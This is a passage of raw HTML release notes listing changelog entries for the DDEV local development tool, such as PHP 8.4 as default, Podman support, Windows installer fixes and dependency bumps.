<li>test(quickstart): pin Composer to 2.8.12 for Magento 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643114073" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7883" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7883/hovercard" href="https://github.com/ddev/ddev/pull/7883">#7883</a></li>
<li>test(wsl-mirrored): Skip TestGetLocalHTTPResponse on WSL2 mirrored by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643684702" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7884" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7884/hovercard" href="https://github.com/ddev/ddev/pull/7884">#7884</a></li>
<li>feat: Change default PHP version to 8.4, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634133257" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7874" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7874/hovercard" href="https://github.com/ddev/ddev/issues/7874">#7874</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634135609" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7875" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7875/hovercard" href="https://github.com/ddev/ddev/pull/7875">#7875</a></li>
<li>chore(composer): remove <code>--snapshot</code> workaround, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646682854" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7887" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7887/hovercard" href="https://github.com/ddev/ddev/pull/7887">#7887</a></li>
<li>test(quickstart): fix Backdrop, FrankenPHP, Grav by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646670989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7886" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7886/hovercard" href="https://github.com/ddev/ddev/pull/7886">#7886</a></li>
<li>fix: Add gpgv, configure APT, convert sources to deb822 (except mariadb), update script references, and add audit tests to prevent SHA1 key trust failures in February 2026, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618938410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7849" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7849/hovercard" href="https://github.com/ddev/ddev/issues/7849">#7849</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634197394" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7877" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7877/hovercard" href="https://github.com/ddev/ddev/pull/7877">#7877</a></li>
<li>test(windows): make sure we have a  clean install distro by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3655266651" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7891" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7891/hovercard" href="https://github.com/ddev/ddev/pull/7891">#7891</a></li>
<li>docs: stop recommending Stack Overflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658941875" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7895" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7895/hovercard" href="https://github.com/ddev/ddev/pull/7895">#7895</a></li>
<li>test(quickstart): fix frankenphp build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3652421873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7889" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7889/hovercard" href="https://github.com/ddev/ddev/pull/7889">#7889</a></li>
<li>docs: update TYPO3 link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659715510" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7898" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7898/hovercard" href="https://github.com/ddev/ddev/pull/7898">#7898</a></li>
<li>build(curl): use trixie-backports to install newer curl by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659620005" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7897" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7897/hovercard" href="https://github.com/ddev/ddev/pull/7897">#7897</a></li>
<li>fix(xdebug): Use a more sophisticated search for windows host ip address on WSL mirrored mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640686765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7880" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7880/hovercard" href="https://github.com/ddev/ddev/pull/7880">#7880</a></li>
<li>test(typo3): Fix TYPO3 quickstart, failing since TYPO3 v14.0.0 released by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660976030" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7901" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7901/hovercard" href="https://github.com/ddev/ddev/pull/7901">#7901</a></li>
<li>fix: db port should be integer in generated TYPO3 AdditionalConfiguration.php, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658026373" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7892" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7892/hovercard" href="https://github.com/ddev/ddev/issues/7892">#7892</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li>test(quickstart): php8.3 for silverstripe and symfony, disable typo3 v13 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672156537" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7909" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7909/hovercard" href="https://github.com/ddev/ddev/pull/7909">#7909</a></li>
<li>fix(commands): make <code>HostWorkingDir</code> respect <code>WebWorkingDir</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li>build(docker): add more php8.5 packages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3671208529" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7908" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7908/hovercard" href="https://github.com/ddev/ddev/pull/7908">#7908</a></li>
<li>test(add-on): replace redis-commander with redis-insight by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672679420" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7911" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7911/hovercard" href="https://github.com/ddev/ddev/pull/7911">#7911</a></li>
<li>chore(deprecation): update default MariaDB version to 11.8 for new projects, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607131104" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7824" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7824/hovercard" href="https://github.com/ddev/ddev/pull/7824">#7824</a></li>
<li>build(mkdocs): bump actions/setup-python from 6.0.0 to 6.1.0, pin click to 8.2.1 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3682052853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7913" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7913/hovercard" href="https://github.com/ddev/ddev/pull/7913">#7913</a></li>
<li>fix: check for multiple global config dirs on <code>ddev start</code> and improve usage for <code>~/.ddev</code> in the docs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3374443982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7582" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7582/hovercard" href="https://github.com/ddev/ddev/issues/7582">#7582</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623239781" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7859" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7859/hovercard" href="https://github.com/ddev/ddev/pull/7859">#7859</a></li>
<li>test(quickstart): remove version pins from Magento 2, Silverstripe, Symfony, TYPO3, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3662754285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7905" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7905/hovercard" href="https://github.com/ddev/ddev/issues/7905">#7905</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3685279997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7914" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7914/hovercard" href="https://github.com/ddev/ddev/pull/7914">#7914</a></li>
<li>fix: remove unnecessary debug output when probing for TYPO3 project type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654714403" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7890" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7890/hovercard" href="https://github.com/ddev/ddev/issues/7890">#7890</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687124292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7918" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7918/hovercard" href="https://github.com/ddev/ddev/pull/7918">#7918</a></li>
<li>test(windows): stop uninstalling as it leads to intermittent problems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686346053" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7916" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7916/hovercard" href="https://github.com/ddev/ddev/pull/7916">#7916</a></li>
<li>fix: Windows installer refuses to install on wrong architecture, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3318865014" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7524" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7524/hovercard" href="https://github.com/ddev/ddev/issues/7524">#7524</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660479712" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7900" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7900/hovercard" href="https://github.com/ddev/ddev/issues/7900">#7900</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672315294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7910" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7910/hovercard" href="https://github.com/ddev/ddev/pull/7910">#7910</a></li>
<li>feat(pantheon): address Pantheon hosting provider issues, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3533649620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7730" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7730/hovercard" href="https://github.com/ddev/ddev/issues/7730">#7730</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450001792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7655" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7655/hovercard" href="https://github.com/ddev/ddev/issues/7655">#7655</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612620085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7837" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7837/hovercard" href="https://github.com/ddev/ddev/pull/7837">#7837</a></li>
<li>fix(collation): Use more portable default collations for mysql8.x and mariadb11.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3663530493" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7906" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7906/hovercard" href="https://github.com/ddev/ddev/pull/7906">#7906</a></li>
<li>feat: Warn WSL2 users with project on Windows filesystem, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3651875329" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7888" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7888/hovercard" href="https://github.com/ddev/ddev/issues/7888">#7888</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686470597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7917" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7917/hovercard" href="https://github.com/ddev/ddev/pull/7917">#7917</a></li>
<li>fix(diagnose): Remove the hard-coded IP "127.0.0.1" from the DNS check, since it may be incorrect, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633143202" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7871" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7871/hovercard" href="https://github.com/ddev/ddev/issues/7871">#7871</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li>docs: update instructions for maintainers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3698909154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7924" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7924/hovercard" href="https://github.com/ddev/ddev/pull/7924">#7924</a></li>
<li>chore(debug): Migrate <code>ddev debug</code> statements to <code>ddev utility</code> statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3699848765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7925" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7925/hovercard" href="https://github.com/ddev/ddev/pull/7925">#7925</a></li>
<li>fix: Remove obsolete config syntax and commands for v1.25.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607194599" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7825" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7825/hovercard" href="https://github.com/ddev/ddev/issues/7825">#7825</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687175513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7919" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7919/hovercard" href="https://github.com/ddev/ddev/pull/7919">#7919</a></li>
<li>build(php): install php8.5-xdebug (amd64/arm64), php7.0-7.3-redis (arm64), php8.5-memcached (amd64) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3707067166" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7928" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7928/hovercard" href="https://github.com/ddev/ddev/pull/7928">#7928</a></li>
<li>feat: add Podman rootless/rootful and Docker rootless support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="623451687" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2276" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2276/hovercard" href="https://github.com/ddev/ddev/issues/2276">#2276</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="842390678" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2899" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2899/hovercard" href="https://github.com/ddev/ddev/issues/2899">#2899</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3492748614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7702" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7702/hovercard" href="https://github.com/ddev/ddev/pull/7702">#7702</a></li>
<li>docs: Fix link to globalsign safenet drivers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713142680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7932" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7932/hovercard" href="https://github.com/ddev/ddev/pull/7932">#7932</a></li>
<li>fix: use correct condition for host ports, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693511292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7920" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7920/hovercard" href="https://github.com/ddev/ddev/issues/7920">#7920</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3694772398" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7922" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7922/hovercard" href="https://github.com/ddev/ddev/pull/7922">#7922</a></li>
<li>fix(ddev-ssh-agent): Update ddev-ssh-agent to base on Trixie and accept PKCS8 RSA keys, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1653998930" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/4802" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/4802/hovercard" href="https://github.com/ddev/ddev/issues/4802">#4802</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716441913" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7933" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7933/hovercard" href="https://github.com/ddev/ddev/pull/7933">#7933</a></li>
<li>fix(docker): support SELinux shared label, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2984740969" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7196" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7196/hovercard" href="https://github.com/ddev/ddev/issues/7196">#7196</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3723914792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7939" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7939/hovercard" href="https://github.com/ddev/ddev/pull/7939">#7939</a></li>
<li>build(deps): bump actions/cache from 4 to 5 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730870250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7944" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7944/hovercard" href="https://github.com/ddev/ddev/pull/7944">#7944</a></li>
<li>build(deps): bump actions/upload-artifact from 5 to 6 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730869671" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7943" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7943/hovercard" href="https://github.com/ddev/ddev/pull/7943">#7943</a></li>
<li>fix: convert Windows installer to per-user installation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3575314275" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7776" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7776/hovercard" href="https://github.com/ddev/ddev/issues/7776">#7776</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713015842" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7931" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7931/hovercard" href="https://github.com/ddev/ddev/pull/7931">#7931</a></li>
<li>feat: support using zstd for snapshots, fix <code>postgres:9</code> snapshot, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616597924" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7844" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7844/hovercard" href="https://github.com/ddev/ddev/issues/7844">#7844</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1127360922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3583" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/3583/hovercard" href="https://github.com/ddev/ddev/issues/3583">#3583</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616747625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7845" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7845/hovercard" href="https://github.com/ddev/ddev/pull/7845">#7845</a></li>
<li>fix: only create volume for configured db type, add project label by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720288833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7937" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7937/hovercard" href="https://github.com/ddev/ddev/pull/7937">#7937</a></li>
